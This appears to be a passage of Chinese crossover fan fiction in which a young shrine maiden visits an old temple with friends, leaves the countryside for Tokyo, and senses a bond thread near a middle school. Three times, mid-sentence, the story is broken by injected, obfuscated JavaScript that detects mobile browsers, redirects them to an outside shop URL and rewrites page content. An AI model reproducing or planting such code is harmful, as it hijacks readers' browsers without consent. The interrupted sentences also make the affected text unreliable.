镜没有反驳,但她把胧从地上捞起来放在肩头,往厨房方向走去。外婆刚蒸好一锅红薯,灶台边热气缭绕。镜在走廊上听到安倍信子说了一句:“多轨那孩子走了?下次叫她留下来吃饭。她上次带了金平糖给胧,胧把糖藏在我放符纸的抽屉里,说这是供奉——它大概是想把这糖算成贡品。”窗外蝉鸣炸响,八原的夏天还在继续。 15. 寻访 开眼之后的第二天,多轨透一早就来了神社。她站在鸟居下面朝走廊挥手,另一只手举着祖父的笔记本,封面朝外,像举着一面旗。胧正趴在走廊上舔前爪,被她这一嗓子叫得耳朵转了半圈。斑从厨房门口探出头,嘴里还叼着半条烤鱼尾巴,含含糊糊地说她比木之本樱声音还大,小樱是充电过头的星星,多轨是刚充上电的星星,区别在于电量饱和度。多轨没理它,已经踩着石板路跑上来了。 镜从本殿里走出来,手里还拿着刚叠好的符纸。多轨把祖父的笔记翻开到河童那一页,淡墨画的河童图旁边,空白处被她用铅笔密密麻麻写满了昨晚的观察记录:头顶的盘子是青灰色的,比祖父画的更扁一点,左爪少了一根指甲;洗草鞋的时候两只爪子在鞋面上来回搓,搓完之后把草鞋举起来对着月亮照了照,大概是想确认晒干了没有。多轨说他家的溪流边有一块凸出来的石头,河童每回蹲在那里都会被月光照得盘底亮晶晶的。“以前用显形阵只能看到一团模糊的轮廓,昨晚总算把颜色填上去了——河童不是青色的,是青灰色的,肚皮比背壳浅两个色号。” 她把笔夹回那一页,抬起头看着镜。“对了,镜——你的名字读作かがみ对吧。上次在集市我就想说,每次叫你镜总觉得太正式了,像在叫夏目的同班同学。我能不能给你起个昵称?” 镜把符纸收进口袋,说随便。多轨歪着头在走廊木板上用手指比划了几下:かがみ,最后一个音是“み”;“子”读作“こ”,加起来就是“みこ”。“正好‘巫女’也读作みこ,你又是神社的巫女。那我以后就叫你みこ吧——比かがみ短,又比‘镜’亲近。” 镜把这个名字在心里转了一遍。みこ。比“かがみ”少了一个音,念起来确实更轻快。从来没有人叫过她みこ——知世和小樱都叫她镜,贵志哥叫她镜,小亮叫她镜,胧也只在生气时才连名带姓叫她大道寺镜。这个发音在舌尖上转了一圈,轻巧得像神社铃铛被风吹动时的那一声清响。“可以。”她嘴角的弧度比刚才多了一点点。 “那就这么定了!みこ——今天有空吗?我想去旧寺那边,以前在那边画过好几个显形阵,想亲眼看看那些阵里的妖怪到底长什么样。” 镜回本殿把符纸码进抽屉,和外婆说了一声。安倍信子正把切好的萝卜放进汤锅里,头也没抬,说中午记得回来吃饭,夏目说今天会带糯米团子来。斑在旁边竖起耳朵,说明天它会盯紧厨房,免得胧再把最后一条烤鱼吃掉。胧从走廊上跳下来,说我上次是帮她试味道。 两个人刚走到鸟居下面,就看见夏目从山道上走上来,手里拎着藤原阿姨新做的糯米团子,用竹叶裹着,还冒着微微的热气。斑从他肩头探出脑袋,说它闻到团子是红豆馅的,特意提前和藤原阿姨说今天团子要多包几个。夏目把团子往斑怀里一塞,说藤原阿姨确实多包了好几个,让它放心。“你们要去旧寺?我也去吧。那边的山路最近被野猪拱过,有几段不太好走。” 多轨走在最前面,手里拿着祖父的笔记,一边走一边对着路边的树丛指指点点。那棵杉树的树根下面以前住过一只独眼小僧,她画过它的显形阵,阵光亮起来的时候轮廓像个倒扣的茶碗。那座石桥下面除了河童还有一只水精,祖父的笔记上画过它的形状,但颜色一直没标——因为祖父也看不清。她说话时语速飞快,手里的笔记翻来翻去,差点被路边伸出来的狗尾草绊一跤。夏目伸手扶了一把,说小心脚下,她说了句谢谢继续往前冲了。 旧寺在八原东侧的山坡上,正殿的屋顶瓦片缺了好几片,露出底下发黑的木椽。石板路长满青苔,石灯笼被藤蔓缠得只露出顶部,院子里的枯山水已经看不出原来的纹路,被雨水冲成一片模糊的沙地。但偏殿被收拾得很干净——走廊上摆着几盆牵牛花,窗台擦得亮堂堂的,连门框上的灰尘都被抹过。多轨说这是田沼要住的地方,他父亲在这附近工作,两年前搬到八原,和夏目也是同学。他身体不太好,但对灵力很敏感,以前她画显形阵时他在旁边能准确指出妖怪在哪个方向。 “田沼君——你在吗?”多轨站在偏殿门口喊了一声。 里面传来一阵很轻的脚步声,门被推开一条缝。开门的是个身形清瘦的少年,深色短发,皮肤比同龄人更白一些,但眼睛很亮。他看见多轨,微微点头算打过招呼,然后目光落在镜身上。他盯着镜看了片刻,微微侧过头,像是在辨认某种只有他能感知到的气息。 “你就是大道寺镜。夏目跟我说过你——能看见妖怪,灵力很强。你的灵力场和安倍奶奶的很像,但更年轻。你身上有一种不太一样的东西——不是灵力,是某种更安静的东西。和水一样。” 镜没有否认。田沼的感知力确实很准——不是灵力,是水。她的灵力属性本身就像水,只是她从小被当成一面镜子来用,水便也学会了映照。镜子映出灵魂的形状,映出缘线的颜色,映出那些别人看不到的东西。然后她自己决定要不要帮——不是责任,是选择。不过这些她暂时没必要解释给一个刚认识的人听。 多轨已经往正殿方向走了。正殿的石板地被荒草遮了大半,几片残破的瓦片散落在石阶上,角落里堆着被风吹进来的枯叶。多轨蹲在正殿中央那块最大的石板前,把手贴在石板上,闭上眼睛深吸了一口气。再睁开时她看到的已经不是显形阵画出来的模糊轮廓,而是石板缝隙里透出来的极淡的蓝白色微光。一只很老的妖怪正蹲在那里,双手抱膝,缩在石板底下最小的角落里。头顶的角是灰白色的,根部和石板缝隙之间还夹着一小片枯叶,大概是昨晚被风吹进去的。手指上有一道很细的旧伤疤,已经不疼了,但痕迹还在。 “是一只老爷爷。”多轨蹲在石板前面,声音放得很轻,“它的角是灰白色的,和我祖父笔记上画的那种古代地缚灵一模一样。みこ,你看到了吗?它缩在最里面那个角落,好像怕被人踩到。” 镜站在她身后,看到那只老妖从石板缝隙里探出半张脸。它的灵力已经很淡了,淡到几乎和石板本身的气息混在一起。它在这里待了太久,久到连自己都忘了是什么时候来的,只记得这里是它的位置,不能走,不能被看到。它对着镜的方向微微点了点头——不是对多轨,是对镜。镜也点了一下头。这只地缚灵不需要超度,它只是在等有人来,然后确认自己是不是真的还被看见。 她把灵力从掌心推入石板,沿着地板下的灵脉轻轻梳了一遍,把堵住的地方推通,把断掉的地方接上。老旧的地板发出极轻微的震颤,那只老妖蜷在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536090|203812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最里侧一动不动,只是用那双灰白的眼睛看着她做完这一切。做完之后灵脉重新开始流动,旧寺的空气似乎也松了一些。 多轨侧过头看着她。“みこ,你帮他,是因为你是巫女吗?” 镜把石板上的青苔拨开一点,让地板下的灵脉多透几口气。“不,只是我能看见。我的名字是神社的镜子起的——镜子映出灵力的光,也映出妖怪的样子。你也画了那么多年显形阵,哪怕只能看到轮廓也要画,那不是执念,是本能。既然我们都要看见,那就帮到底。至于为什么帮——因为看到了,所以就帮了。外婆从来没说过‘你必须这样做’,她只说过‘你如果不想管,可以不管’。是我自己选的。” 多轨想了想,低头看着自己摊开的祖父笔记,看了好一会儿才开口。“我小时候画阵是为了不想被落下——祖父能看见,邻居家的姐姐也能感觉到一点,只有我什么都是半截。明明灵力也有,只是没打通。后来发现不甘心也没用,自己和自己赌气只会让符纸画得更歪,就改成了‘至少帮别人看’这个念头。后来你和夏目出现在我面前,还有田沼——你们每个人用的方法都不一样,但目的都是把‘能看见的东西’交给彼此。みこ,”她把笔记放在膝头,认真看着镜,“你帮了我,也帮了它们,不是因为你是安倍家的传人,是因为你知道‘不想一个人’是什么感觉。对不对。” 镜把石板上的最后一点浮灰拍干净,站起来。“对。所以以后你看见妖怪的时候也不用一个人。” 多轨的眼睛亮了一瞬,然后弯起来。她把祖父笔记翻到后面那页,把旧寺这只老爷爷的速写补上去,灰白色的角,手指上的旧伤疤。 田沼站在偏殿走廊上,远远看着正殿方向。他能感知到那只地缚灵的灵力轮廓——很老,很淡,但没有怨气,只是安静地缩在石板下面。他把走廊上那盆被太阳晒得有些打卷的牵牛花往里面挪了挪,免得花瓣被晒焦。镜从正殿走回来,说正殿地板下的灵脉已经疏通了,以后不会再出现断流。田沼点了点头,说最近他感知到旧寺周围的灵脉异常波动不仅仅来自正殿——后山方向也有一道不属于八原本地灵力体系的符咒光,他已经把具体方位标在便签上,交给安倍奶奶,提醒她多留意后山林区。镜说外婆已经知道了,那是的场家的人。 多轨从正殿走回来,手里抱着祖父的笔记,说旧寺的老爷爷太害羞了,她画了三张速写才勉强把角的弧度画对,画到第三张的时候它好像偷偷往这边看了一眼。田沼难得笑了一下,说那只地缚灵在这里守了很多年,从来没让任何人画过自己。 傍晚时分,三个人一起往回走。天色从橘红褪成深紫,鸟居下的石灯笼还没点灯,斑已经跳上石灯笼顶端用尾巴扫柱子上的青苔,说肚子饿了要吃饭,催他们走快一点。胧慢悠悠跟在最后面,不时停下来拨弄路边那几个被太阳晒得半干的小蘑菇。夏目和多轨说着第二天可以顺路去石桥那边问问河童那双草鞋到底是什么人掉的,镜走在中间,听着他们说话,把手伸进背包侧袋里摸了摸那几页旧咒术书纸页——藤原家祖上棋士的名字还静静地躺在折缝里,等她去东京再翻出来对照家传棋谱看一遍。神社的灯已经亮了,窗户纸映出暖黄色的光。外婆大概已经把汤锅端上桌了。 16. 八原的最后一天 在八原的最后一天,镜是被斑的尾巴扫醒的。不是胧——胧的尾巴细而有力,扫在脸上像被毛笔刷了一下。斑的尾巴又粗又蓬,扫过来的时候整张脸都被盖住了,还带着一股昨天在神社厨房偷吃烤鱼的焦香味。她把尾巴从脸上拨开,斑蹲在枕头旁边,招财猫形态的眼睛瞪得溜圆,又用尾巴扫了一下她的额头。 “安倍奶奶让你去收符纸。昨晚后山结界被什么东西碰了一下,她让你去查看,顺便把石灯笼旁边那张驱邪符换了。旧的那张边缘被露水泡软了,她说再不换新的结界会有破口。”斑说完从枕头跳下去,走到门口又回头加了一句,“胧已经在后院等了。它说你起得晚,把你的烤鱼吃了。是它自己吃的,跟我没关系。” 镜掀开被子坐起来,把头发胡乱扎成低马尾。推开格子门,八原清晨的空气凉得她打了个喷嚏。老樟树的叶子被露水打湿,每片叶尖都挂着一颗亮晶晶的水珠。鸟居的红色横梁上挂着几缕还没散尽的山雾,石阶上的青苔比昨晚又厚了一层,踩上去软软的。院墙那边飘来外婆煮味噌汤的香气。胧蹲在鸟居旁边的石灯笼下面,尾巴绕过来盖住前爪,正仰头看着石灯笼顶上那张被露水泡软了边角的符纸。符纸上的朱砂纹路已经模糊了大半,边缘卷起来露出底下的青苔,结界最外圈的光晕也比上周稀薄了不少。 “昨晚有什么东西从后山下来了。”胧说,“没进结界,只是在边界上碰了一下。河童说是东边竹林里那只独眼小僧半夜跑出来找吃的,踩到了结界边缘。它吓得把帽子跑丢了,河童捡了送去竹林口,把帽子挂在竹子上等它自己拿。今早帽子已经不见了,大概独眼小僧趁太阳没出来前偷偷取了回去。” “没受伤就好。”镜把石灯笼上那张旧符纸揭下来,旧符纸在她指尖碎成几片干燥的纸屑。她从背包里取出新叠好的三层叠加符,贴在青苔旁边。符纸边缘泛起一圈极淡的金色光晕,顺着石灯笼的纹理往下渗,先是沿着底座绕了一圈,然后分成好几股细丝钻进周围的石板地,把周围一整片结界都重新拉紧。她贴完符纸站起来,拍了拍手上的灰,又绕到后院角落那棵小枫树底下。树根旁边钻出了几只新的小精灵,绒毛是浅灰白色的,翅膀还没长全,正趴在草叶上喝露水。其中一只被昨晚的风吹歪了,两只小爪子勾在一片过于宽大的草叶边缘晃来晃去,镜把它轻轻托回树枝上。那只幼崽的爪子勾住她袖口时用极小的声音哼了一声,然后用鼻尖碰了碰她的手指才松开。树根周围灵力流通顺畅,没有淤塞也没有异常波动。 早饭是安倍信子做的味噌汤和烤鱼。斑蹲在厨房门口,尾巴绕过来盖住前爪,用谴责的目光盯着胧——因为胧今天早上确实把镜那份烤鱼吃了,而且没有试味道的理由。胧蹲在走廊上舔前爪,语气平静地说那是因为镜起得晚,烤鱼凉了就不好吃了,它是帮她热一下。斑说热一下怎么热到你肚子里去了。胧还没来得及回答,外婆已经把新烤好的鱼端上桌放进镜碗里,说这是最后一条,再偷吃明天就都不用吃了。两只猫各自把头埋进碗里,尾巴在走廊木板上扫来扫去,谁也不肯先抬头认错。 夏目来的时候镜正把行李袋从客房里拎出来。他手里拎着藤原阿姨新蒸的糯米团子,用竹叶裹着,上面压着一小袋新米。团子的香气透过竹叶渗出来,是红豆馅的,每颗米粒都染了淡淡一层红。斑从厨房门口就闻到,一路小跑跟到他脚边,说藤原阿姨这次在豆沙里加了桂花,夏天的桂花比秋天的更香。夏目把团子和新米放在行李袋旁边,又从口袋里掏出一个小小的布袋,里面是阿姨自己晒的柿饼,晒得表面挂了一层薄薄的白霜。 “阿姨说今年夏天后院那棵老柿子树结得比往年都多。树精让树根帮它多吸了溪流的水,果子又大又甜,切开来里面全是蜜。她还念叨上次镜帮她补树洞已经是好几年前的事了,树精到现在还记得。每次有人路过那棵树,它都会用树枝指指树洞的方向,意思是这里被一个小巫女修过。”夏目弯起眼睛,在走廊边上坐下来,把团子往镜那边推了推,“阿姨让你带去东京,和棋院那边的朋友一起吃。她还说树精托梦给她,让她给神社也留两袋新米,它说今年秋天米会比往年更黏,是灵力渗进地脉的结果。” “那只是顺手补了一下树洞。” “你每次说顺手,藤原阿姨都会念叨很久。”斑蹲在夏目脚边,用尾巴扫了扫他的脚踝。 多轨透来的时候镜正把外婆给的符纸码进背包侧袋。她站在鸟居下面朝走廊挥手,手里举着祖父的笔记本,辫子在肩头晃来晃去。她穿了一件浅绿色的短袖衬衫,膝盖上还有昨晚在竹林里被蚊虫咬的红印,但脸上的笑容像是刚从溪水里洗过一样亮。她跑上台阶,把笔记翻到最新一页——昨晚画的一只独眼小僧,蹲在竹林口的石头上,帽子被竹枝挂下来半截,露出光溜溜的头顶。她说昨晚在竹林边上等了快两个小时,蚊子咬了好几个包,但总算画完了。那只独眼小僧比她想象的还要小一圈,帽子是深蓝色的,帽子里面藏了一颗橡果。以前用显形阵只能看到一个倒扣茶碗似的轮廓,昨晚总算把帽子的颜色填上去了。 “它还分了我一颗橡果。我放在鸟居下面当见面礼,以后它再来神社,就可以直接拿这颗橡果敲石灯笼,不用怕被结界弹飞。”她把那一页小心地撕下来,夹进镜的笔记本里,“这张送给みこ。以后你去东京,看到竹林的时候想起八原的独眼小僧,记得帮它把帽子戴好。它每次跑太快就会把帽子甩掉,河童已经帮它捡了好几次了。”镜接过那页速写,低头看了看——铅笔线条很细很轻,帽子是深蓝的,橡果藏在帽檐内侧,旁边用极小极淡的字迹写了一句“独眼小僧,八原竹林口,帽子易落”。 田沼要来的时候,斑提前说了。它耳朵转了转,说田沼的灵力波动正沿着山道上来了,手里拿着一个用旧报纸包好的东西,报纸外面还裹着一层油纸,大概是怕被露水打湿。田沼站在鸟居下面,把那个用旧报纸包好的小袋子递给她,说是他爸爸前几天从古籍店收回来的几本旧咒术书,里面有几页提到了藤原家祖上的棋士记录。他爸说放家里也没人看得懂,不如让镜带回东京去,或许能拼上什么线索。他顿了顿,又说他能感知到镜的灵力场比上周又浓了一层,大概是在八原练了外婆的新符纸。“你去了东京之后,如果遇到灵力场不稳定的事,可以写信给我。旧寺这边的灵脉资料我整理了一份给你,你带上做个参考。” 镜接过袋子,翻开其中一页泛黄的纸面。纸上用极淡的墨迹写了几行平安时代的宫廷棋事,右下角标了几个落子坐标——笔迹和她外公书房那张系图上的铅笔字一模一样。她翻到下一页,还有一段关于藤原家长子与幼子在旧邸书房对弈的记录,两行棋谱之间夹着半句极淡的旁注,只写了当夜棋局的最后一手,落款处画了一个极小极细的红圈。镜把这几页纸小心地收进笔记本夹层里,说谢谢田沼君,等她在东京如果能拼上这些残谱,会写信告诉他。 中午吃过饭,镜跟外婆去后山做最后一次巡视。安倍信子走在前头,拐杖点在石板路上发出清脆的响声。七月的杉树林遮住了大半阳光,野兔从路边的灌木丛里窜出来,又消失在另一侧的树影里。石阶上的青苔比春天时更厚了一些,踩上去软软的,空气里有松脂和溪水混在一起的味道。她们走到溪流拐弯处停下来,安倍信子用拐杖指了指溪流对面的那棵老杉树。 “这棵树底下有个树洞,里面住的那只树妖已经守了神社好几代人。以后我不在八原的时候,你就是下一个安倍家的神女。你帮了多轨那孩子,帮了旧寺那只老地缚灵,也教了夏目怎么把灵力走得更顺。这些都是你自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536091|203812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己选的——巫女的职责是你自己定的,不是祖辈给的。你以后去帝光,也会遇到更多需要帮助的人,选不选,都由你。我从来不说你必须怎样做,是因为你从小就懂——看到的人,能帮就帮。不用觉得那是任务,只是在继续做你一直会做的事。” 镜把拐杖接过来,在那棵老杉树的树洞内侧灌入自己的灵力,又在里面埋下一张驱邪符。树洞里那只老树妖用一根极细的须根轻轻碰了碰她的手背,和往年她帮它清理树洞里的枯叶时的力道一样。做完这些,她把拐杖还给外婆,说她把灵力留在树根里了,以后神社外面的小精灵如果找不到路,树根会在结界外替它们开门。安倍信子接过拐杖,点了下头,转身往山下走了几步,又停下来,头也不回地说:“下次来的时候带东京的仙贝。你外公上次寄来的那盒太甜了,买咸的。” 下午回到神社,镜把所有行李重新检查了一遍。外婆给的符纸、多轨的速写、田沼的旧咒术书纸页、藤原阿姨的新米和糯米团子,还有那罐用布封得严严的柿饼。胧蹲在门框旁边看她在和室里忙来忙去,尾巴从门框边垂下来扫着门柱。“不就是回友枝町待几天,不用收拾这么多符纸。” “有一些是备用的。暑假过了大半,库洛牌剩下那几张都不好对付,多带点总比现补来得从容。还有几张是给外公预备的——他的胃最近又不好了,这些符纸放在书房能帮他挡一挡熬夜看棋谱积下来的寒气。” “然后去东京?” “要先回友枝町的家里,再去外公家。”镜把行李袋拉链拉好。小学第一学期是在七月下旬到八月末,大概有六周。她向来是第一学期结束的暑假陪外公外婆,第二学期的假期结束的寒假去陪已经退休常居西欧的爷爷奶奶,第三学期结束的春假则是忙于升学。自从外公外婆因为各种情况暂时不居住一起以后,他就要八原和东京两头跑了。 傍晚时分,夏目和多轨送她去车站。田沼也来了,站在月台边缘,手里提着从自家院子摘的牵牛花种子,用纸包着,说东京那边的阳台如果阳光好,可以试着种一下。多轨把祖父笔记上画的河童那页撕下来塞进镜笔记本里,说在火车上可以当书签,“到了东京就想起八原的河童还在洗草鞋”。河童今天没有来车站送行,但它在昨天的雨坑里洗干净了石阶上的泥脚印,还在桥墩下面用石子摆了一排小小的箭头,指向车站方向。 夏目帮她把行李袋提上月台,说藤原阿姨腌的那罐柿饼用盐腌了一整个夏天,罐口的布封得严严的,大概够吃好一阵子。他说这句话时语气很平常,然后弯起眼睛,说等镜到了东京,写信给他。“告诉我你在东京遇到了什么——不管是有趣的事,还是需要帮忙的事。”镜说好。 电车从远处驶来,车灯在铁轨上映出两道长长的光柱。多轨站在月台边缘,朝她挥手,辫子在肩头晃了半圈。“みこ——到了东京也要记得写信!我会继续画妖怪,等你下次来八原的时候给你看新的!”斑蹲在夏目肩头,说胧那个家伙今天怎么不装毛绒玩具了。胧蹲在镜旁边的座位上,尾巴绕过来盖住前爪,说这是最后一趟,下次再装。车门关上,镜把行李袋放在膝头,隔着车窗朝月台上那些来送行的朋友挥了挥手。夏目微微抬了一下下巴,多轨还在挥手,田沼朝她点了点头,斑的尾巴竖得笔直。直到月台变成一个小圆点,她还在看远山尽头那片被云层遮住又散开的落日。 镜靠在座位上,把笔记本翻开。多轨的河童速写夹在“八原善后记录”和空白页之间,田沼的牵牛花种子纸包放在背包最外层。她翻到八原篇的最后一页,在空白处写了今天的日期。窗外,蝉鸣从山里追到平原,从八原一路响到东京。她先回友枝町待几天,然后去东京外公家——围棋会所的落子声在等她。暑假还有后半段,她总感觉还会发生很多事。 17. 镜的缘线 八月上旬,友枝町的蝉从早到晚叫个不停。 镜从八原回来的第三天,就被小樱拉去了图书馆。理由是暑假自由研究还差一个参考文献,而镜是全班唯一能准确说出百科事典在第几排书架的人。知世也一起来了,背着摄像机和一本新的缝纫笔记,说想借几本和服纹样的书。 图书馆在商业街尽头,是一栋老旧的二层建筑,外墙爬满了爬山虎。暑假期间人不多,自习室只有几个六年级学生在准备升学考试。小樱把自由研究的画纸摊在靠窗的大桌上,彩色铅笔滚了一桌。她画的蝉翼纹路还差好几根没填完,趴在桌上拿放大镜对着百科事典上的翅脉图,一边数一边念叨:“原来蝉的翅膀不是平的,是有好多细小的支撑结构,怪不得叫起来那么大声——镜你看,这根主脉旁边的分支比我想的多好几条!” 知世从书架那边回来,抱着好几本和服纹样的书,翻到一页蓝染纹样,图案是流水与枫叶。“这个很适合镜——流水是你灵力擅长的方向,枫叶是你每次去外公家都会走过的巷子。”她说要给镜做一件新校服,袖口放宽半寸,因为镜又长高了。 镜在旁边画银杏树的四季变化,用淡金色的铅笔把树干上那道弧形的灵痕也描了下来,旁边写了一行极小的备注:老奶奶用叶脉打招呼的力道。 中午三个人在图书馆外面的银杏树下吃便当。小樱盘腿坐在树根上,嘴里塞着炸鸡块,说自由研究做完之后还有数学练习册和国语读书心得没写。知世说她的缝纫笔记已经做了大半本。镜把番茄夹出来放在便当盒盖上,说她的自由研究写完了,数学和国语也差不多了。小樱用一种被背叛的眼神看着她:“你怎么每次都偷偷写完!”镜说她没偷偷写,是在八原每天晚上做完结界巡视后顺手做的,外婆的油灯够亮,旁边还有胧的尾巴帮忙摁着页脚。 吃完便当后,小樱说要买新的彩色铅笔——蝉翼的颜色太难调,普通的绿色根本用不了。知世说街角那家文具店新进了水溶性彩铅。三个人收拾好便当盒往商业街走,经过旧教会时管风琴的练习声从半开的侧门里飘出来,几个唱诗班的孩子在台阶上追逐打闹。 从文具店出来,小樱蹲在路边对着刚买的彩铅试色,把几支绿色系全摊在膝盖上比对,对着旁边行道树上趴着的一只蝉反复确认。知世从画材区挑了一卷深蓝色的丝线,说是给镜新校服滚边用的,还买了几张淡金色的和纸备着给她做笔记。 她们沿着商业街继续往前走,在一家甜品店买了三支冰淇淋——小樱拿了草莓味,知世拿了蜜瓜味,镜拿了蜜桃味,三个人站在路边边吃边继续往前走。这条街走到尽头往右拐,就是帝光中学。 镜以前跟环去美术馆看展览时顺路经过过几次帝光。校门是深灰色的铁艺大门,门柱上烫着金色的校名,建校超过百年,新旧建筑在校园里交替出现。从校门口看进去,左手边那栋灰砖老楼窗框上的铜绿斑痕说明它比这门牌的年岁还要早个几十载,主馆楼后隐约能看到一排银杏延伸到操场方向。 然后她感觉到了那道线。 不是用眼睛看到的,是用灵力感知到的。一道极细的灵力牵引从帝光中学深处穿出来,越过围墙,越过马路,像一根被风吹得笔直的金线,轻轻触在她胸口的魂缘之镜上。线的另一端不在她能感知到的范围内,但方向很明确——在帝光中学的深处,也许在教学楼后面的林荫道,也许在银杏树尽头那片被夕阳照亮的操场上。 这道线和她见过的任何缘线都不一样。小樱和小狼之间的线她是能认得出的——那是两个人的缘分,温暖而明确,颜色是红的。而这道线还没有和任何特定的人连在一起。它不是红线,是更远的、指向某个还没看清的地方,仿佛某人曾在这里许过一个需要很长时间才能兑现的承诺。 她从来没有和任何人提过这道线。告诉小樱的话她会帮她一起找,告诉知世的话她会帮她画地图,但镜连自己都不确定它是什么。只是每次路过帝光时都能感觉到它在轻轻扯动她胸口的魂缘之镜,不重,也不急。她和家人提过几次,环和家里商量中学志愿时环问她倾向于友枝还是帝光,镜没有直接回答,只是把帝光的学校介绍册放在茶几上。环说实在在意的话,可以中学考虑帝光。“如果想去帝光就按自己的意愿去考。”环翻了几页册子,“反正离外公家也近,你以后上学方便。”正和在旁边说帝光的课程设置很扎实,而且她已经在那边感知到了灵力牵引,不管那条线的答案是什么,继续往前走总比停在原地更接近它。镜点了点头,在志愿表上把帝光中学填在第一栏。那是她自己的想法,家人只是帮她确认了她已经想好的方向。不过那都是后话了,离升学还有两年,她还不需要急着填任何表格。 小樱举着新买的彩铅从后面跑过来,把刚才试画的一片蝉翼举到镜面前:“你看——这个颜色是不是比刚才那支更对?带一点点灰调但不暗,在阳光下看刚好是半透明的效果。蝉翼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536092|203812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是这个色。”镜说就是它。小樱把铅笔小心翼翼放进盒子里扣好,满足地拍了拍盒盖,随即回头朝还在看染料的知世喊了一声,三个人继续往前走。 走到商业街拐角时,小樱指着马路对面一家新开的书店说想去看看有没有卖彩色铅笔专用削笔刀。书店不大,门面漆成深绿色,橱窗里摆着畅销书和文创文具,店门口的立牌上写着“本月推荐:夏季文库本特集”。收银台前排了几个人,一个少年正把刚付完款的零钱收进钱包。他穿着素色短袖,赤红色的短发修剪得利落干净,从镜身边擦过,步伐沉稳,并没有多看她一眼,只是往门外走时侧过身避让了一个拎着购物篮的老太太。 镜推门时他正好拉门,两个人隔着门框交互了一秒。他的目光无意中落在她领口附近的浅金色光痕上,停留了不到半秒便移开了。他转头离开后镜低头看了看自己胸口——魂缘之镜的光泽在书店的日光灯下比平时稍亮一些,不是被灵气触动,是刚才在帝光校门外被那道金线拨动后还没完全收回去。 小樱在文具货架前蹲下来对着三款削笔刀比对刀片型号和安全锁设计,知世在旁边把选好的丝线放进购物篮。镜站在杂志架前翻了翻新到的夏季文库,余光扫过窗外——那个赤红色头发的少年已经走远了,步幅平稳,书包单肩背着,拐过街角往车站方向去了。 她收回目光,把文库本放回架上。今天来商业街是为了帮小樱找配色的,现在蝉翼的颜色有了,削笔刀也选好了,便当也消化得差不多了。她走到文具货架前,拿起一盒新的朱砂墨条——比之前在文京区买的那种更细一些,适合叠进纸人内层,顺便又拿了两叠裁好的和纸。 傍晚回到家,环已经把去外公家的行李清单贴在冰箱门上——换洗衣服、防虫喷雾、给外公带的咖喱块,最后一行写着“镜自己收拾灵力用品,妈妈不碰”。镜站在冰箱门前把那行字默念了两遍,从抽屉里拿出新买的朱砂和纸签放进背包侧袋。正和从厨房探出头说明天会开车送她去外公家,米粉糕已经放在玄关柜子上了,让她别忘了带。 窗外银杏树的叶子被夜风吹得沙沙响,老奶奶大概已经睡了。镜把笔放下,关了台灯。明天她还要坐电车去外公家——暑假还剩一小半,围棋会所的院生练习赛她答应了亮要去看看。至于今天在书店遇到的那个人,她连他叫什么名字都不知道,大概只是暑假里擦肩而过的路人。她把被子拉上来盖住肩膀。明天就可以看到外公了。